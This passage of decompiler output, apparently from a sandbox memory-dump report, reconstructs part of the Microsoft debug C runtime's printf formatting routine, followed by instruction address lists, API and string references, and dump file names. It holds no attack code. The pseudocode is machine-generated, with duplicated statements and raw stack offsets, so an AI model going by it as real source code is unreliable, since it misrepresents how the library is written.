																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428310(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428310(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428330(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E330();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422E20(_t543))) = 0x16;
															E00422BB0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041ADD0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BC70(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E330();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041ADD0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422E20(_t530))) = 0x16;
														E00422BB0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041ADD0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430740( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E004307C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00434f67
0x00434f67
0x00434f67
0x00434f67
0x00434f67
0x00434f67
0x00434f67
0x00434f71
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00435098
0x00435098
0x0043509f
0x00000000
0x00000000
0x004350a1
0x004350a1
0x004350ac
0x004350b2
0x004350b4
0x004350ba
0x004350bd
0x004350bf
0x004350c5
0x004350ce
0x004350d3
0x004350f0
0x004350f3
0x004350f3
0x004350f8
0x004350fd
0x004350fd
0x00435103
0x00435105
0x0043510b
0x00435111
0x00435111
0x0043511a
0x0043511a
0x00435103
0x00435120
0x00435124
0x00435132
0x00435135
0x00435138
0x0043513f
0x00435141
0x00435141
0x00435126
0x00435126
0x00435126
0x0043514e
0x0043514e
0x00435154
0x00435156
0x00435156
0x0043515d
0x00435160
0x00435163
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00435173
0x00435179
0x00435179
0x0043517f
0x004351fc
0x004351ff
0x00435202
0x00435205
0x00435208
0x0043520b
0x00435211
0x00435211
0x00435217
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x0043524c
0x0043524f
0x0043524f
0x00435252
0x00435257
0x00435257
0x0043525c
0x0043526e
0x0043526e
0x00435271
0x00435283
0x00435283
0x00435286
0x00435288
0x0043528c
0x0043528c
0x00435273
0x00435273
0x00435277
0x00435277
0x0043525e
0x0043525e
0x00435262
0x00435262
0x0043525c
0x00435296
0x00435299
0x0043529c
0x004352a5
0x004352a5
0x004352a8
0x004352aa
0x004352b1
0x004352b5
0x004352be
0x004352c3
0x004352c6
0x004352cd
0x004352d1
0x004352d5
0x004352e1
0x004352e4
0x004352e4
0x004352e7
0x004352ec
0x004352ec
0x004352ef
0x004352f1
0x004352f8
0x004352fc
0x00435305
0x0043530a
0x004352ef
0x0043530d
0x00435311
0x004353e5
0x004353e5
0x004353ec
0x004353f0
0x004353f4
0x004353f8
0x00000000
0x00435317
0x00435317
0x00435317
0x0043531b
0x00000000
0x00000000
0x00435321
0x00435321
0x0043532b
0x0043532e
0x00435334
0x00435337
0x0043533d
0x0043533d
0x0043533d
0x00435349
0x0043534c
0x00435352
0x00435354
0x00000000
0x00000000
0x0043535a
0x0043535a
0x00435363
0x0043536a
0x00435374
0x0043537b
0x0043538a
0x00435396
0x00435399
0x0043539f
0x004353a6
0x004353b1
0x004353b1
0x00000000
0x004353b1
0x004353a8
0x004353a8
0x004353af
0x004353bd
0x004353bd
0x004353c4
0x004353c8
0x004353d6
0x00000000
0x004353db
0x00000000
0x004353af
0x004353e3
0x00435400
0x00435400
0x00435407
0x0043540c
0x0043540c
0x0043540f
0x00435411
0x00435418
0x0043541c
0x00435425
0x0043542a
0x0043540f
0x00435407
0x0043542d
0x0043542d
0x00435431
0x00435439
0x00435441
0x00435441
0x00435448
0x00435448
0x0043451f
0x00434525
0x00434532
0x00434537
0x00000000
0x0043454a
0x00434554
0x0043457b
0x00434562
0x00434573
0x00434573
0x00434554
0x00434585
0x0043458b
0x00434597
0x0043459a
0x004345a8
0x004345ab
0x004345b8
0x0043465d
0x00434663
0x00434669
0x00434670
0x00000000
0x00000000
0x00434676
0x0043467c
0x00000000
0x00434683
0x00434683
0x0043469b
0x004346a0
0x004346a3
0x004346a5
0x0043475f
0x00434772
0x00434777
0x00000000
0x004346ab
0x004346be
0x004346c3
0x004346c9
0x004346cb
0x004346d4
0x004346d4
0x004346d7
0x004346e3
0x004346e7
0x004346ed
0x004346ef
0x004346f4
0x004346f6
0x004346fb
0x00434700
0x00434702
0x00434707
0x0043470a
0x0043470d
0x0043470f
0x0043470f
0x0043470d
0x00434710
0x00434710
0x00434717
0x00000000
0x00434719
0x0043471e
0x0043473a
0x00434742
0x0043474f
0x00434754
0x00000000
0x00434754
0x00434717
0x00000000
0x0043477f
0x0043477f
0x00434786
0x00434789
0x0043478c
0x0043478f
0x00434792
0x00434795
0x00434798
0x0043479f
0x004347a6
0x00000000
0x00000000
0x004347b2
0x004347b2
0x004347b9
0x004347c5
0x004347c8
0x004347ce
0x004347d5
0x00000000
0x00000000
0x004347d7
0x004347d7
0x004347dd
0x004347dd
0x004347e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434827
0x00434827
0x0043482e
0x00434831
0x0043485b
0x0043485e
0x0043485e
0x00434861
0x00434868
0x00434868
0x0043486c
0x00434833
0x00434833
0x0043483f
0x00434842
0x00434846
0x00434848
0x0043484b
0x0043484b
0x0043484e
0x00434854
0x00434856
0x00434856
0x00434859
0x00000000
0x00000000
0x00434874
0x00434874
0x00000000
0x00000000
0x00434880
0x00434880
0x00434887
0x0043488a
0x004348aa
0x004348ad
0x004348ad
0x004348b7
0x004348b7
0x004348bb
0x0043488c
0x0043488c
0x00434898
0x0043489b
0x0043489f
0x004348a1
0x004348a1
0x004348a8
0x00000000
0x00000000
0x004348c3
0x004348c3
0x004348ca
0x004348d6
0x004348d9
0x004348df
0x004348e6
0x004349f9
0x00000000
0x004349f9
0x004348ec
0x004348ec
0x004348f2
0x004348f2
0x004348f9
0x00000000
0x0043492f
0x0043492f
0x00434932
0x00434935
0x00434938
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x0043498e
0x0043498e
0x00434991
0x00434994
0x00434997
0x004349d0
0x004349e1
0x00000000
0x004349e1
0x00434999
0x00434999
0x0043499c
0x0043499f
0x004349a2
0x00000000
0x00000000
0x004349a4
0x004349a4
0x004349a7
0x004349aa
0x004349ad
0x00000000
0x00000000
0x004349af
0x004349af
0x004349b2
0x004349b5
0x004349b8
0x00000000
0x00000000
0x004349ba
0x004349ba
0x004349bd
0x004349c0
0x004349c3
0x00000000
0x00000000
0x004349c5
0x004349c5
0x004349c8
0x004349cb
0x004349ce
0x004349d2
0x00000000
0x004349d2
0x00000000
0x004349ce
0x0043496b
0x0043496b
0x0043496e
0x00434972
0x00434975
0x00000000
0x00434977
0x0043497a
0x0043497d
0x00434980
0x00434983
0x00434989
0x00000000
0x00434989
0x00434975
0x0043493a
0x0043493a
0x0043493d
0x00434941
0x00434944
0x00000000
0x00434946
0x00434949
0x0043494c
0x0043494f
0x00434952
0x00434958
0x00000000
0x00434958
0x00000000
0x004349e3
0x004349e6
0x004349e9
0x00000000
0x00000000
0x00434900
0x00434900
0x00434903
0x00434906
0x00434909
0x00434921
0x00434924
0x00434924
0x00434927
0x0043490b
0x0043490e
0x00434911
0x00434917
0x0043491c
0x0043491c
0x00000000
0x00000000
0x004349ee
0x004349ee
0x004349f1
0x004349f1
0x004349f6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349fe
0x004349fe
0x00434a05
0x00434a11
0x00434a14
0x00434a1a
0x00434a21
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434a27
0x00434a2d
0x00434a2d
0x00434a34
0x00000000
0x00434d8e
0x00434d8e
0x00434d95
0x00434d9c
0x00434d9c
0x00434d9f
0x00000000
0x00000000
0x00434a3b
0x00434a3e
0x00434a3e
0x00434a44
0x00434a46
0x00434a49
0x00434a49
0x00434a4e
0x00434a4e
0x00000000
0x00000000
0x00434b7b
0x00434b7e
0x00434b7e
0x00434b83
0x00434b85
0x00434b88
0x00434b88
0x00434b8e
0x00434b8e
0x00000000
0x00000000
0x00434f5b
0x00434f5b
0x00434f71
0x00434f71
0x00434f7b
0x00434f7b
0x00434f81
0x00434f83
0x00434f8d
0x00434f8d
0x00434f90
0x00434f93
0x00434f93
0x00000000
0x00000000
0x00434ae5
0x00434ae5
0x00434af1
0x00434af7
0x00434afe
0x00434b0c
0x00434b0c
0x00434b12
0x00434b15
0x00434b21
0x00434b76
0x00000000
0x00434b76
0x00434b00
0x00434b00
0x00434b06
0x00434b0a
0x00434b26
0x00434b29
0x00434b29
0x00434b2f
0x00434b57
0x00434b5e
0x00434b64
0x00434b67
0x00434b6a
0x00434b70
0x00434b73
0x00434b31
0x00434b31
0x00434b37
0x00434b3a
0x00434b3d
0x00434b43
0x00434b46
0x00434b49
0x00434b4b
0x00434b4e
0x00434b4e
0x00000000
0x00434b2f
0x00000000
0x00000000
0x00434da5
0x00434da8
0x00434dab
0x00434dae
0x00434db4
0x00434db7
0x00434dbe
0x00434dc2
0x00434dcd
0x00434dcd
0x00434dd1
0x00434de8
0x00434de8
0x00434def
0x00434df1
0x00434df1
0x00434df8
0x00434df8
0x00434dff
0x00434e10
0x00434e1f
0x00434e22
0x00434e26
0x00434e3c
0x00434e28
0x00434e28
0x00434e2b
0x00434e31
0x00434e37
0x00434e37
0x00434e26
0x00434e46
0x00434e49
0x00434e4c
0x00434e4f
0x00434e52
0x00434e55
0x00434e5b
0x00434e61
0x00434e69
0x00434e6a
0x00434e6d
0x00434e6e
0x00434e71
0x00434e72
0x00434e79
0x00434e7a
0x00434e7d
0x00434e7e
0x00434e81
0x00434e82
0x00434e88
0x00434e89
0x00434e97
0x00434e99
0x00434e9f
0x00434e9f
0x00434ea5
0x00434ea7
0x00434eab
0x00434ead
0x00434eb5
0x00434eb6
0x00434eb9
0x00434eba
0x00434ec8
0x00434eca
0x00434eca
0x00434eab
0x00434ecd
0x00434ed4
0x00434ed7
0x00434edc
0x00434edc
0x00434ee2
0x00434ee4
0x00434eec
0x00434eed
0x00434ef0
0x00434ef1
0x00434f00
0x00434f02
0x00434f02
0x00434ee2
0x00434f05
0x00434f08
0x00434f0b
0x00434f0e
0x00434f13
0x00434f19
0x00434f1c
0x00434f1f
0x00434f1f
0x00434f22
0x00434f22
0x00434f25
0x00434f31
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00435242
0x00434dd3
0x00434dd3
0x00434dda
0x00434ddd
0x00000000
0x00000000
0x00434ddf
0x00434ddf
0x00000000
0x00434ddf
0x00434dc4
0x00434dc4
0x00000000
0x00000000
0x00434a51
0x00434a54
0x00434a54
0x00434a5a
0x00434ab5
0x00434abd
0x00434ac4
0x00434aca
0x00434ad0
0x00434a5c
0x00434a5c
0x00434a66
0x00434a6a
0x00434a72
0x00434a79
0x00434a86
0x00434a8d
0x00434a99
0x00434a9f
0x00434aa6
0x00434aa8
0x00434aa8
0x00434aaf
0x00434ad7
0x00434add
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00434c97
0x00434c97
0x00434ca3
0x00434ca9
0x00434cae
0x00434cb0
0x00434d5a
0x00434d5d
0x00434d5d
0x00434d60
0x00434d74
0x00434d7a
0x00434d80
0x00434d62
0x00434d62
0x00434d6f
0x00434d6f
0x00434d82
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00434cb6
0x00434cb6
0x00434cb6
0x00434cb8
0x00434cc6
0x00434cba
0x00434cba
0x00434cba
0x00434cd0
0x00434cd6
0x00434cdc
0x00434ce3
0x00434ce5
0x00434cea
0x00434cec
0x00434cf1
0x00434cf6
0x00434cf8
0x00434cfd
0x00434d00
0x00434d03
0x00434d05
0x00434d05
0x00434d03
0x00434d06
0x00434d0d
0x00434d55
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00434d0f
0x00434d0f
0x00434d14
0x00434d30
0x00434d38
0x00434d42
0x00434d45
0x00434d4a
0x00000000
0x00434d4a
0x00000000
0x00434f9c
0x00434f9c
0x00434fa6
0x00434fa6
0x00434fac
0x00434fae
0x00434fb1
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00434f54
0x00434f54
0x00000000
0x00000000
0x00434b91
0x00434b91
0x00434b95
0x00434ba3
0x00434ba6
0x00434b97
0x00434b97
0x00434b97
0x00434bac
0x00434bb2
0x00434bb8
0x00434bc4
0x00434bca
0x00434bca
0x00434bd0
0x00434c37
0x00434c37
0x00434c3b
0x00434c3d
0x00434c43
0x00434c43
0x00434c46
0x00434c49
0x00434c4f
0x00434c4f
0x00434c4f
0x00434c5b
0x00434c5e
0x00434c64
0x00434c66
0x00000000
0x00000000
0x00434c68
0x00434c68
0x00434c6e
0x00434c71
0x00434c73
0x00000000
0x00000000
0x00434c75
0x00434c7b
0x00434c7e
0x00434c7e
0x00434c86
0x00434c86
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00434bd2
0x00434bd2
0x00434bd2
0x00434bd6
0x00434bd8
0x00434bdd
0x00434bdd
0x00434be0
0x00434be7
0x00434bea
0x00434bf0
0x00434bf0
0x00434bf0
0x00434bfc
0x00434bff
0x00434c05
0x00434c07
0x00000000
0x00000000
0x00434c09
0x00434c09
0x00434c0f
0x00434c12
0x00434c14
0x00000000
0x00000000
0x00434c16
0x00434c1c
0x00434c1f
0x00434c1f
0x00434c27
0x00434c2d
0x00434c30
0x00434c32
0x00434c92
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00435242
0x00000000
0x00434f4b
0x00434f4b
0x00434fba
0x00434fba
0x00434fbd
0x00434fbd
0x00434fc2
0x00434fe4
0x00434fe4
0x00434fea
0x0043500c
0x0043500c
0x0043500f
0x00435056
0x00435056
0x00435059
0x00435076
0x0043507a
0x00435082
0x00435082
0x00435084
0x0043508a
0x0043505b
0x0043505b
0x0043505f
0x00435067
0x00435068
0x0043506e
0x0043506e
0x00435011
0x00435014
0x00435014
0x00435017
0x00435035
0x00435041
0x00435044
0x00435045
0x0043504b
0x00435019
0x00435019
0x0043501d
0x00435025
0x00435026
0x00435027
0x0043502d
0x0043502d
0x00435051
0x00434fec
0x00434fec
0x00434ff8
0x00434ffe
0x00434ffe
0x00434fc4
0x00434fc4
0x00434fd0
0x00434fd6
0x00434fd6
0x00435093
0x00435093
0x00435096
0x00000000
0x00000000
0x00000000
0x00435096
0x00000000
0x00000000
0x00000000
0x00435242
0x00435242
0x00435242
0x00435246
0x00000000
0x00000000
0x00000000
0x00435246
0x00000000
0x00000000
0x00434801
0x00434804
0x00434807
0x00000000
0x00000000
0x0043480c
0x0043480f
0x00434814
0x00000000
0x00000000
0x004347f6
0x004347f6
0x004347f9
0x004347fc
0x00000000
0x00000000
0x004347eb
0x004347ee
0x004347f1
0x00000000
0x00000000
0x00434819
0x00434819
0x0043481c
0x0043481c
0x0043481f
0x00000000
0x00000000
0x00434822
0x00000000
0x00000000
0x004345be
0x004345c0
0x004345ce
0x004345c2
0x004345c2
0x004345c2
0x004345d8
0x004345de
0x004345eb
0x004345ed
0x004345f2
0x004345f4
0x004345f9
0x004345fe
0x00434600
0x00434605
0x0043460b
0x0043460d
0x0043460d
0x0043460b
0x0043460e
0x00434615
0x00000000
0x00434617
0x0043461c
0x00434638
0x00434640
0x0043464d
0x00434652
0x00435511
0x0043551e
0x0043551e
0x00434615
0x004345b8
0x0043544d
0x0043544d
0x00435454
0x0043546b
0x0043546b
0x00435475
0x00435475
0x0043547b
0x00435481
0x00435488
0x0043548a
0x0043548f
0x00435491
0x00435496
0x0043549b
0x0043549d
0x004354a2
0x004354a5
0x004354a8
0x004354aa
0x004354aa
0x004354a8
0x004354ab
0x004354b2
0x004354fd
0x00435506
0x0043550b
0x004354b4
0x004354b9
0x004354d5
0x004354dd
0x004354ea
0x004354ef
0x004354ef
0x00000000
0x004354b2
0x00435456
0x00435456
0x0043545d
0x00000000
0x00000000
0x0043545f
0x0043545f
0x00000000
0x0043545f
0x00435242
0x00435219
0x00435219
0x0043521d
0x0043522a
0x0043522d
0x00435230
0x00435233
0x00435236
0x00435239
0x0043523c
0x0043523c
0x0043523f
0x00000000
0x0043523f
0x0043521f
0x0043521f
0x00435222
0x00435225
0x00435228
0x00000000
0x00000000
0x00000000
0x00435228
0x00435181
0x00435181
0x00435184
0x00435187
0x0043518e
0x00435195
0x0043519d
0x004351a3
0x004351a6
0x004351a9
0x004351b0
0x004351bc
0x004351c2
0x004351c8
0x004351cf
0x004351d1
0x004351d7
0x004351d7
0x004351dd
0x004351dd
0x004351e3
0x004351e6
0x004351ec
0x004351f1
0x004351f4
0x00435163
0x00435163
0x00435169
0x0043516c
0x0043516f
0x00435171
0x00000000
0x00000000
0x00000000
0x00435171
0x00435163
0x004350a3
0x004350a3
0x004350aa
0x00000000
0x00000000
0x00000000
0x004350d8
0x004350d8
0x004350de
0x004350e4
0x004350ea
0x00000000
0x004350ea
0x00434fba
0x00434f71

APIs

_get_int64_arg.LIBCMTD ref: 00434FC8
__aullrem.LIBCMT ref: 00435195
__aulldiv.LIBCMT ref: 004351B7

Strings

9, xrefs: 004351C8
0, xrefs: 00434F83
', xrefs: 00434F67

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
